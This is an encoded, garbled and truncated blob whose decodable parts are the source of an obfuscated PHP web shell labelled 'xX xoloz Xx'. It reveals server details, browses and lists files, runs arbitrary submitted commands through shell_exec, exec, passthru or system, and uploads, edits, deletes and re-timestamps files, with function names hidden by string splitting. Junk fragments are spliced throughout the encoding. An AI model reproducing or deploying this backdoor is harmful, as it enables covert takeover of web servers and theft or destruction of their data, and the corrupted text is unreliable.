Q7IH00x0LoZgdGV4dGFyZWEgeyB3aWR00x0LoZaDogMTAwJTtoZWlnaHQ6IDIwMHB4OyB9IGlucHV00x0LoZW3R5cGU9ZmlsZV00x0LoZ6OmZpbGUtc2VsZWN00x0LoZb3ItYnV00x0LoZdG9uIHsgaGVpZ2h00x0LoZOiAzMHB4OyBib3JkZXI6IG5vbmU7IHdpZHRoOiA4MHB4OyBib3JkZXItcmFkaXVzOiA1cHg7IGN1cnNvcjogcG9pbnRlcjsgfSA8L3N00x0LoZeWxlPiA8c2NyaXB00x0LoZIHNyYzx0LoZiaHRx0LoZcHM6Ly9raXQuZm9udGF3ZXNvbWUuY29tLzMwNGZlMzg3MzkuanMiIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiPjwvc2NyaXB00x0LoZPiA8L2hlYWQ+IDxib2R5Pic7DQogICAgICAgIAx0LoZKICAgICAgICAgICAgJGdjdyA9ICJnIi4iZSIuInQiLiJjIi4idyIuImQiOw00x0LoZKICAgICAgICAgICAgJHNjZCA9ICJzIi4iYyIuImEiLiJuIi4iZCIuImkiLiJyIjsNCiAgICAgICAgICAgICRiZGVjID00x0LoZgImIiLiJhIi4icyIuImUiLiI2Ii4iNCIuIl8iLiJkIi4iZSIuImMiLiJvIi4iZCIuImUiOwx0LoZKICAgICAgICAgICAgJGJlbiA9ICJiIi4iYSIuInMiLiJlIi4iNiIuIjQiLiJfIi4iZSIuIm4iLiJjIi4ibyIuImQiLiJlIjsNCiAgICAgICAgICAgICRnZXRobyA9ICJnIi4iZSIuInQiLiJoIi4ibyIuInMiLiJ00x0LoZIi4iYiIuInkiLiJuIi4iYSIuImx0LoZiLiJlIjsNCiAgICAgICAgICAgICRwdW4gPSAicCIuImgiLiJwIi4iXyIuInUiLiJuIi4iYSIuIm00x0LoZiLiJlIjsNCiAgICAgICAgICAgICRzZSA9ICJzIi4iaCIuImUiLiJsIi4ibCIuIl8iLiJlIi4ieCIuImUiLiJjIjsNCiAgICAgICAgICAgICRlYyA9ICJlIi4ieCIuImUiLiJjIjsNCiAgICAgICAgICAgICRwdHJ1ID00x0LoZgInAiLiJhIi4icyIuInMiLiJx0LoZIi4iaCIuInIiLiJ1IjsNCiAgICAgICAgICAgICRzdGVtID00x0LoZgInMiLiJ5Ii4icyIuInQiLiJlIi4ibSI7DQogICAgICAgICAgICAkbW92dXBmID00x0LoZgIm00x0LoZiLiJvIi4idiIuImUiLiJfIi4idSIuInAiLiJsIi4ibyIuImEiLiJkIi4iZSIuImQiLiJfIi4iZiIuImkiLiJsIi4iZSI7DQogICAgICAgICAgICAkZmdx0LoZY28gPSAiZiIuImkiLiJsIi4iZSIuIl8iLiJnIi4iZSIuInQiLiJfIi4iYyIuIm8iLiJuIi4idCIuImUiLiJuIi4idCIuInMiOw00x0LoZKICAgICAgICAgICAgJGZ3ciA9ICJmIi4idyIuInIiLiJpIi4idCIuImUiOw00x0LoZKICAgICAgICAgICAgJGZvID00x0LoZgImYiLiJvIi4icCIuImUiLiJuIjsNCiAgICAgICAgICAgICRta2QgPSAibSIuImsiLiJkIi4iaSIuInIiOw00x0LoZKICAgICAgICAgICAgJHJubSA9ICJyIi4iZSIuIm4iLiJhIi4ibSIuImUiOw00x0LoZKICAgICAgICAgICAgJGlzZCA9ICJpIi4icyIuIl8iLiJkIi4iaSIuInIiOw00x0LoZKICAgICAgICAgICAgJGlzZiA9ICJpIi4icyIuIl8iLiJmIi4iaSIuImwiLiJlIjsNCiAgICAgICAgICAgICRybWQgPSAiciIuImx0LoZiLiJkIi4iaSIuInIiOyANCiAgICAgICAgICAgICR1bmwgPSAidSIuIm4iLiJsIi4iaSIuIm4iLiJrIjsNCiAgICAgICAgICAgICRmaWxvIDx0LoZgImYiLiJpIi4ibCIuImUiLiJvIi4idyIuIm4iLiJlIi4iciI7DQogICAgICAgICAgICAkZmlsZ3JvIDx0LoZgImYiLiJpIi4ibCIuImUiLiJnIi4iciIuIm8iLiJ1Ii4icCI7DQogICAgICAgICAgICAkc2JzdCA9ICJzIi4idSIuImIiLiJzIi4idCIuInIiOw00x0LoZKICAgICAgICAgICAgJGZpbG100x0LoZID00x0LoZgImYiLiJpIi4ibCIuImUiLiJtIi4idCIuImkiLiJtIi4iZSI7DQogICAgICAgICAgICAkZHQgPSAiZCIuImEiLiJx0LoZIi4iZSI7DQogICAgICAgICAgICAkZmlscHJtID00x0LoZgImYiLiJpIi4ibCIuImUiLiJwIi4iZSIuInIiLiJtIi4icyI7DQogICAgICAgICAgICAkdGNoIDx0LoZgInQiLiJvIi4idSIuImMiLiJoIjsNCiAgICAgICAgICAgICRzdHJ00x0LoZdCA9ICJzIi4idCIuInIiLiJ00x0LoZIi4ibyIuInQiLiJpIi4ibSIuImUiOwx0LoZKICAgICAgICAgICAgJGhx0LoZbXNwYyA9ICJoIi4idCIuIm00x0LoZiLiJsIi4icyIuInAiLiJlIi4iYyIuImkiLiJhIi4ibCIuImMiLiJoIi4iYSIuInIiLiJzIjsNCiAgICAgICAgICAgICRmbmVzdHMgPSAiZiIuInUiLiJuIi4iYyIuInQiLiJpIi4ibyIuIm4iLiJfIi4iZSIuIngiLiJpIi4icyIuInQiLiJzIjsNCiAgICAgICAgICAgICRzcHJudCA9ICJzIi4icCIuInIiLiJpIi4ibiIuInQiLiJmIjsNCiAgICAgICAgICAgIGlmKCFpc3NldCgkXx0LoZdFVFsnZGlyJ0x0LoZpKSB7DQogICAgICAgICAgICAgICAgJGN1cnJlbnRfZGlyID00x0LoZgJGdjdygpOw00x0LoZKICAgICAgICAgICAgICAgICRzY2FuX2RpciA9ICRzY2QoJGN1cnJlbnRfZGlyKTsNCiAgICAgICAgICAgIH00x0LoZgZWxzZSB7DQogICAgICAgICAgICAgICAgJGRpciA9ICRiZGVjKCRfR00x0LoZVUWyJkaXIiXSk7DQogICAgICAgICAgICAgICAgaWYoY2hkaXIoJGRpcikpIHsNCiAgICAgICAgICAgICAgICAgICAgJHNjYW5fZGlyID00x0LoZgJHNjZCgkZ2N3KCkpOw00x0LoZKICAgICAgICAgICAgICAgIH00x0LoZNCiAgICAgICAgICAgIHx0LoZNCiAgICANCiAgICAgICAgICAgICAgICBlY2hvICc8Y2VudGVyPjxkaXYgY2xhc3M9InhvbG96LWNvbnRlbnQiPjxoMT54WCB4b2xveiBYeDwvaDE+JzsNCiAgICAgICAgICAgICAgICBlY2hvICI8cCBzdHlsZT00x0LoZn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ZmEtY2hldnJvbi1sZWZ00x0LoZIj48L2k+IGJhY2s8L2J1dHRvbj48L2E+JzsNCiAgICAgICAgICAgICAgICAgICAgIH00x0LoZNCiAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICBlY2hvICI8L2Rpdj4iOw00x0LoZKDQogICAgICAgICAgICAgICAgaWYoIWlzc2V00x0LoZKCRfR00x0LoZVUWyJ00x0LoZb29scyJdKSkgeyANCiAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICBlY2hvICI8dGFibGU+PHRoZWFkPjx00x0LoZcj48dGggYWxpZ249J2xlZnQnPk5hbWU8L3RoPjx00x0LoZaCBhbGlnbj00x0LoZnbGVmdCc+T3duZXI8L3RoPjxx0LoZaCBhbGlnbj00x0LoZnbGVmdCc+UGVybWlzc2lvbjwvdGg+PHRoIGFsaWduPSdsZWZx0LoZJz5MYXN00x0LoZIE1vZDwvdGg+PHRoIGFsaWduPSdsZWZ00x0LoZJz5BY3Rpb8L3RoPjwvdHI+PC0x0LoZaGVhZD48dGJvZHk+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgIA00x0LoZKICAgICAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCgkc2Nhbl9kaXIgYXMgJHNvdXJjZSA9PiAkc291cmNlX25hbWUpIHsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoJGlzZCgkc291cmNlX25hbWUpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzx00x0LoZcj4nOw00x0LoZKDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzx00x0LoZZCBzdHlsZT00x0LoZiZm9udC13ZWlnaHQ6NjAwOyI+PGkgY2xhc3M9ImZhIGZhLWZvbGRlciIgc3R5bGU9Im1hcmdpbi1yaWdodDogMTBweDsiPjwvaT4nOwx0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwcmludCAnPGEgaHJlZj00x0LoZiP3VzZXI9Jy4kX00x0LoZdFVFsndXNlciddLicmZGlyPScuJGJlbigkZ2N3KCkuIi8iLiRzb3VyY2VfbmFtZSkuJyI+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcHJpbnQoJHNvdXJjZV9uYW1lKTsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHByaW5x0LoZICc8L2E+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPC9x0LoZZD4nOw00x0LoZKDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzxx0LoZZD4nOw00x0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwcmludCgkZmlsbygkc291cmNlX25hbWUpLicvJy4kZmlsZ3JvKCRzb3VyY2VfbmFtZSkpOwx0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8L3RkPic7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPHRkPic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHByaW500x0LoZKCRzYnN00x0LoZKCRzcHJudCgnJW8nLCAkZmlscHJtKCRzb3VyY2VfbmFtZSkpLCAtNCkpOw00x0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8L3RkPic7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPHRkPic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHByaW5x0LoZKCRkdCgiZC1tLVkgSDppOnMiLCRmaWxtdCgkc291cmNlX25hbWUpKSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzwvdGQ+JzsNCg00x0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8dGQ+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoJHNvdXJjZV9uYW1lID00x0LoZ9ICIuIiB8fCAkc291cmNlX25hbWUgPT00x0LoZgIi4uIikgew00x0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcHJpbnQgJzxpIGNsYXNzPSJmYSBmYS1wZW5jaWwiIHN00x0LoZeWxlPSJjb2xvcjpncmV5OyI+PC9pPic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwcmludCAnIHwgJzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHByaW5x0LoZICc8YSBocmVmPSI/dXNlcjx0LoZnLiRfR00x0LoZVUWyd1c2VyJ1x0LoZuJyZkaXI9Jy4kYmVuKCRnY3coKSkuJyZ00x0LoZb29scz00x0LoZnLiRiZW4oJ3RpbWVtb2QnKS4nJmZpbGU9Jy4kc291cmNlX25hbWUuJyI+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHByaW5x0LoZICc8aSBjbGFzcz00x0LoZiZmEgZmEtbW9keCI+PC9pPic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwcmludCAnPC9hPic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwcmludCAnIHwgJzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHByaW500x0LoZICc8aSBjbGFzczx0LoZiZmEgZmEtdHJhc2giIHN00x0LoZeWxlPSJjb2xvcjpncmV5OyI+PC9pPic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHx0LoZgZWxzZSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwcmludCAnPGEgaHJlZj00x0LoZiP3VzZXI9Jy4kX00x0LoZdFVFsndXNlciddLicmZGlyPScuJGJlbigkZ2N3KCkpLicmdG9vbHM9Jy4kYmVuKCdlZGlx0LoZZGlyJykuJyZmaWxlPScuJHNvdXJjZV9uYW1lLiciPic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwcmludCAnPGkgY2xhc3M9ImZhIGZhLXBlbmNpbCI+PC9pPic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwcmludCAnPC9hPic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwcmludCAnIHwgJzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHByaW500x0LoZICc8YSBocmVmPSI/dXNlcj00x0LoZnLiRfRx0LoZVUWyd1c2VyJ100x0LoZuJyZkaXI9Jy4kYmVuKCRnY3coKSkuJyZ00x0LoZb29sczx0LoZnLiRiZW4oJ3RpbWVtb2QnKS4nJmZpbGU9Jy4kc291cmNlX25hbWUuJyI+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHByaW500x0LoZICc8aSBjbGFzcz00x0LoZiZmEgZmEtbW9keCI+PC9pPic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwcmludCAnPC9hPic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwcmludCAnIHwgJzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHByaW500x0LoZICc8YSBocmVmPSI/dXNlcj00x0LoZnLiRfR00x0LoZVUWyd1c2VyJ0x0LoZuJyZkaXI9Jy4kYmVuKCRnY3coKSkuJyZ00x0LoZb29scz00x0LoZnLiRiZW4oJ2RlbGRpcicpLicmZmlsZT00x0LoZnLiRzb3VyY2VfbmFtZS4nIj4nOw00x0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcHJpbnQgJzxpIGNsYXNzPSJmYSBmYS0x0LoZcmFzaCI+PC9pPic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwcmludCAnPC9hPic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH00x0LoZNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPC900x0LoZZD4nOw00x0LoZKDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzwvdHI+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICB9IA00x0LoZKICAgICAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCgkc2Nhbl9kaXIgYXMgJHNvdXJjZSA9PiAkc2cmNlX25hbWUpIHsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoJGlzZigkc291cmNlX25hbWUpKSB7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPHRyPic7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPHRkPjxpIGNsYXNzPSJmYSBmYS1maWxlLW8iIHN00x0LoZeWxlPSJtYXJnaW4tcmlnaHQ6IDEwcHg7Ij48L2k+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcHJpbnQgJzxhIGhyZWY9Ij91c2VyPScuJF9HRVRbJ3VzZXInXS4nJmRpcj00x0LoZnLiRiZW4oJGdjdygpKS4nJnRvb2xzPScuJGJlbignZWRpdGZpbGUnKS4nJmZpbGU9Jy4kc291cmNlX25hbWUuJyI+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcHJpbnQoJHNvdXJjZV9uYW1lKTsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHByaW5x0LoZICc8L2E+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPC0x0LoZZD4nOw00x0LoZKDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzx00x0LoZZD4nOw00x0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwcmludCgkZmlsbygkc2cmNlXhbWUpLicvJy4kZmlsZ3JvKCRzb3VyY2VfbmFtZSkpOw00x0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8L3RkPic7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPHRkPic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHByaW500x0LoZKCRzYnN00x0LoZKCRzcHJudCgnJW8nLCAkZmlscHJtKCRzb3VyY2VfbmFtZSkpLCAtNCkpOw00x0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8L3RkPic7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPHRkPic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHByaW500x0LoZKCRkdCgiZC1tLVkgSDppOnMiLCRmaWxtdCgkc291cmNlXhbWUpKSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzwvdGQ+JzsNCg00x0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8dGQ+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcHJpbnQgJzxhIGhyZWY9Ij91c2VyPScuJF9HRVRbJ3VzZXInXS4nJmRpcj00x0LoZnLiRiZW4oJGdjdygpKS4nJnRvb2xzPScuJGJlbignZWRpdGZpbGUnKS4nJmZpbGU9Jy4kc291cmNlXhbWUuJyI+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcHJpbnQgJzxpIGNsYXNzPSJmYSBmYS1wZW5jaWwiPjwvaT4nOwx0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwcmludCAnPC9hPic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHByaW5x0LoZICcgfCAnOw00x0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwcmludCAnPGEgaHJlZj00x0LoZiP3VzZXI9Jy4kX00x0LoZdFVFsndXNlciddLicmZGlyPScuJGJlbigkZ2N3KCkpLicmdG9vbHM9Jy4kYmVuKCdx0LoZaW1lbW9kJykuJyZmaWxlPScuJHNvdXJjZV9uYW1lLiciPic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHByaW0x0LoZICc8aSBjbGFzcz00x0LoZiZmEgZmEtbW9keCI+PC9pPic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHByaW5x0LoZICc8L2E+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcHJpbnQgJyB8ICc7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHByaW500x0LoZICc8YSBocmVmPSI/dXNlcj00x0LoZnLiRfRx0LoZVUWyd1c2VyJ0x0LoZuJyZkaXI9Jy4kYmVuKCRnY3coKSkuJyZ00x0LoZb29scz00x0LoZnLiRiZW4oJ2RlbGZpbGUnKS4nJmZpbGU9Jy4kc291cmNlX25hbWUuJyI+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcHJpbnQgJzxpIGNsYXNzPSJmYSBmYS0x0LoZcmFzaCI+PC9pPic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHByaW500x0LoZICc8L2E+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPC0x0LoZZD4nOw00x0LoZKDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzwvdHI+JzsNCgx0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH00x0LoZNCiAgICAgICAgICAgICAgICAgICAgICAgIH00x0LoZgDQogICAgICAgICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgZWNobyAnPC0x0LoZYm9keT4nOwx0LoZKICAgICAgICAgICAgICAgIGVjaG8gJzwvdGFibGU+JzsNCiAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRiZGVjKCRfR00x0LoZVUWyJ00x0LoZb29scyJdKSA9PSAiYkIikgew00x0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxmb3JtIG1ldGhvZDx0LoZncG9zdCcgc3R5bGU9J3RleHQtYWxpZ246bGVmdDsgbWFyZ2luLWJvdHRvbTowcHg7Jz4iOw00x0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxpbnB1dCBzdHlsZTx0LoZnd2lkdGg6IDIwMHB4O2hlaWdodDo00x0LoZMHB4O3BhZGRpbmc6MTBweDsnIHR5cGU9J3RleHQnIG5hbWU9J2NvbW1hbmQnIHBsYWNlaG9sZGVyPSdjb21tYW5kJyByZXF1aXJlZD4iOw00x0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxidXRx0LoZb24gdHlwZT00x0LoZnc3VibWl00x0LoZJyBuYW1lPSdydW5fY29tbWFuZCc+PGkgY2xhc3M9J2ZhIGZhLWNoZXZyb24tcmlnaHQnPjwvaT48L2J1dHRvbj4iOw00x0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjwvZm9ybT4iOw00x0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzx00x0LoZZXhx0LoZYXJlYSBzdHlsZT00x0LoZicGFkZGluZzoxMHB4OyIgcmVhZG9ubHk+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZihpc3NldCgkX1BPU1RbInJ1bl9jb21tYW5kIl00x0LoZpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRjb21tYW5kID00x0LoZgJF9QT1NUWyJjb21tYW5kIl00x0LoZ7ICAgICAgICAgICAgICAgICAgICAgICAgICAgIAx0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZigkZm5lc3RzKCRzZSkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJHNlKCRjb21tYW5kKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlaWYoJGZuZXN00x0LoZcygkZWMpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZWMoJGNvbW1hbmQpOw00x0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2VpZigkZm5lc3RzKCRwdHJ1KSkgew00x0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBx0LoZcnUoJGNvbW1hbmQpOw00x0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2VpZigkZm5lc3RzKCRzdGVtKSkgew00x0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHN00x0LoZZW00x0LoZoJGNvbW1hbmQpOwx0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2Ugew00x0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcHJpbnQoIkVycjogY2FuJ3QgcnVuIGNvbW1hbmQhIik7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH00x0LoZNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ00x0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzwvdGV4dGFyZWE+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgIH00x0LoZgZWxzZWlmKCRiZGVjKCRfR00x0LoZVUWyJx0LoZb29scyJdKSA9PSAidXBsIikgew00x0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzxmb3JtIG1ldGhvZD00x0LoZicG9zdCIgZW5jdHlwZT00x0LoZibXVsdGlwYXJ00x0LoZL2Zvcm00x0LoZtZGF00x0LoZYSI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV00x0LoZIHR5cGU9ImZpbGUiIG5hbWU9ImZpbGUiPg00x0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXRx0LoZb24gdHlwZT00x0LoZic3VibWl00x0LoZIiBuYW1lPSJ1cGxvYWQiPnVwbG9hZDwvYnVx0LoZdG9uPg00x0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZm9ybT4nOwx0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKGlzc2Vx0LoZKCRfUE9TVFsndXBsb2FkJ0x0LoZpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRmaWxlTmFtZSA9ICRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddOw00x0LoZKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZmlsZVRtcCA9ICRfRklMRVNbJ2ZpbGUnXVs